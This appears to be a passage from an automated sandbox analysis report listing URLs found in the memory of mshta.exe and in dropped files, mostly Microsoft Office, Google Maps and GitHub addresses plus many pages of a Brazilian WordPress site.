Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://cortana.ai
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://cortana.ai/api
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://cr.office.com
Source: mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://csp.withgoogle.com/csp/apps-themes
Source: mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://csp.withgoogle.com/csp/report-to/apps-themes
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://dataservice.o365filtering.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://dataservice.o365filtering.com/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://dev.cortana.ai
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: js[1].js.10.drString found in binary or memory: https://developer.mozilla.org/docs/Web/API/EventTarget/addEventListener
Source: mshta.exe, 0000000A.00000002.557363777.000000000CF0E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387016057.000000000CF0C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.549131674.00000000078EC000.00000004.00000010.00020000.00000000.sdmp, scripts[1].js.10.drString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent
Source: js[1].js.10.drString found in binary or memory: https://developers.google.com/maps/documentation/javascript/error-messages#unsupported-browsers
Source: mshta.exe, 0000000A.00000003.303502984.0000000006BE5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303066944.0000000006BE5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303083813.0000000006BE5000.00000004.00000800.00020000.00000000.sdmp, js[1].js.10.drString found in binary or memory: https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling
Source: js[1].js.10.drString found in binary or memory: https://developers.google.com/maps/documentation/javascript/vector-map
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://devnull.onenote.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://directory.services.
Source: js[1].js.10.drString found in binary or memory: https://earthbuilder.googleapis.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://enrichment.osi.office.net/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387314345.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537773286.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556911934.000000000CD62000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386403873.000000000CD62000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556911934.000000000CD62000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386403873.000000000CD62000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#about_section
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545850187.0000000007190000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#contatos
Source: mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#contatos=
Source: mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#contatosE
Source: mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387051343.00000000070C1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#estrutura
Source: mshta.exe, 0000000A.00000002.544849702.00000000070C2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387051343.00000000070C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#estruturapgF
Source: mshta.exe, 0000000A.00000002.544849702.00000000070C2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387051343.00000000070C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#estruturat
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#portfolio_section
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#portfolio_section?
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#portfolio_sectionfkn
Source: mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387051343.00000000070C1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#segmentos
Source: mshta.exe, 0000000A.00000002.544849702.00000000070C2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387051343.00000000070C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#segmentos6
Source: mshta.exe, 0000000A.00000002.544849702.00000000070C2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387051343.00000000070C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#segmentosceb
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#servicos
Source: mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#servicosO
Source: mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#servicosa
Source: mshta.exe, 0000000A.00000002.541911720.0000000006AEA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#servicosw
Source: mshta.exe, 0000000A.00000002.537609183.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387290673.000000000353C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/%
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/0
Source: mshta.exe, 0000000A.00000002.556911934.000000000CD62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/7
Source: mshta.exe, 0000000A.00000002.556911934.000000000CD62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/?
Source: mshta.exe, 0000000A.00000002.556911934.000000000CD62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/O
Source: mshta.exe, 0000000A.00000002.556911934.000000000CD62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/W
Source: mshta.exe, 0000000A.00000002.556911934.000000000CD62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/_
Source: mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/a.
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/comments/feed/
Source: mshta.exe, 0000000A.00000002.544908525.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.314789310.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332924179.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/comments/feed/M
Source: mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537609183.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387290673.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/feed/
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/feed/atom/
Source: mshta.exe, 0000000A.00000002.556911934.000000000CD62000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/g
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.550469838.0000000008070000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/wp-admin/admin-ajax.php
Source: mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/wp-json/
Source: mshta.exe, 0000000A.00000002.550469838.0000000008070000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/wp-json/contact-form-7/v1tom
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/xmlrpc.php?rsd
Source: js[1].js.10.drString found in binary or memory: https://geo0.ggpht.com/cbk
Source: js[1].js.10.drString found in binary or memory: https://geo1.ggpht.com/cbk
Source: js[1].js.10.drString found in binary or memory: https://geo2.ggpht.com/cbk
Source: js[1].js.10.drString found in binary or memory: https://geo3.ggpht.com/cbk
Source: mshta.exe, 0000000A.00000002.543184834.0000000006BD4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://geo3.ggpht.com/cbk.
Source: mshta.exe, 0000000A.00000003.332510512.000000000714A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556298812.000000000CC90000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332337430.0000000007135000.00000004.00000800.00020000.00000000.sdmp, owl.theme.default.min[1].css.10.dr, owl.carousel.min[1].css.10.dr, owl.carousel[1].js.10.drString found in binary or memory: https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
Source: mshta.exe, 0000000A.00000003.392926449.00000000082A0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386455346.000000000CF1B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.393155976.00000000082A1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.393217836.00000000082A3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.380236012.0000000006CAD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.557399938.000000000CF21000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.552071947.00000000082A4000.00000004.00000800.00020000.00000000.sdmp, superfish[1].js.10.drString found in binary or memory: https://github.com/joeldbirch/onHoverIntent
Source: mshta.exe, 0000000A.00000003.314584430.000000000711E000.00000004.00000800.00020000.00000000.sdmp, animate-logo[1].css.10.drString found in binary or memory: https://github.com/nickpettit/glide
Source: mshta.exe, 0000000A.00000002.557127856.000000000CDEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386345714.000000000CDE7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387584363.000000000CDEE000.00000004.00000800.00020000.00000000.sdmp, jquery.simplr.smoothscroll.min[1].js.10.drString found in binary or memory: https://github.com/simov/simplr-smoothscroll
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://graph.ppe.windows.net
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://graph.ppe.windows.net/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://graph.windows.net
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://graph.windows.net/
Source: mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gtranslate.io/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&amp;premium=1
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&amp;premium=1
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&amp;premium=1
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://incidents.diagnostics.office.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://inclient.store.office.com/gyro/client
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&amp;adlt=strict&amp;hostType=Immersive
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://invites.office.com/
Source: js[1].js.10.drString found in binary or memory: https://khms0.google.com/kh?v=143
Source: js[1].js.10.drString found in binary or memory: https://khms0.google.com/kh?v=928
Source: js[1].js.10.drString found in binary or memory: https://khms1.google.com/kh?v=143
Source: mshta.exe, 0000000A.00000002.543184834.0000000006BD4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://khms1.google.com/kh?v=143&hl=en-US&
Source: js[1].js.10.drString found in binary or memory: https://khms1.google.com/kh?v=928
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: js[1].js.10.drString found in binary or memory: https://lh3.ggpht.com/
Source: mshta.exe, 0000000A.00000002.543184834.0000000006BD4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://lh3.ggpht.com/u
Source: mshta.exe, 0000000A.00000002.543184834.0000000006BD4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://lh4.ggphO
Source: js[1].js.10.drString found in binary or memory: https://lh4.ggpht.com/
Source: js[1].js.10.drString found in binary or memory: https://lh5.ggpht.com/
Source: js[1].js.10.drString found in binary or memory: https://lh6.ggpht.com/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://lifecycle.office.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://login.microsoftonline.com/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://login.windows.local
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://management.azure.com
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://management.azure.com/
Source: js[1].js.10.drString found in binary or memory: https://maps.google.com
Source: js[1].js.10.drString found in binary or memory: https://maps.googleapis.com
Source: mshta.exe, 0000000A.00000002.543184834.0000000006BD4000.00000004.00000800.00020000.00000000.sdmp, js[1].js.10.drString found in binary or memory: https://maps.googleapis.com/maps/api/js/GeoPhotoService.GetMetadata
Source: js[1].js.10.drString found in binary or memory: https://maps.googleapis.com/maps/api/js/GeoPhotoService.SingleImageSearch
Source: mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://maps.googleapis.com/maps/api/js?v=3
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://maps.googleapis.com/maps/api/js?v=3.exp&sensor=false
Source: js[1].js.10.drString found in binary or memory: https://maps.googleapis.com/maps/vt
Source: js[1].js.10.drString found in binary or memory: https://maps.googleapis.com/maps_api_js_slo/log?hasfast=true
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://messaging.action.office.com/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://messaging.engagement.office.com/
Source: B16A525F-3CD4-4D75-9102-9C1BBE18B5D5.0.drString found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
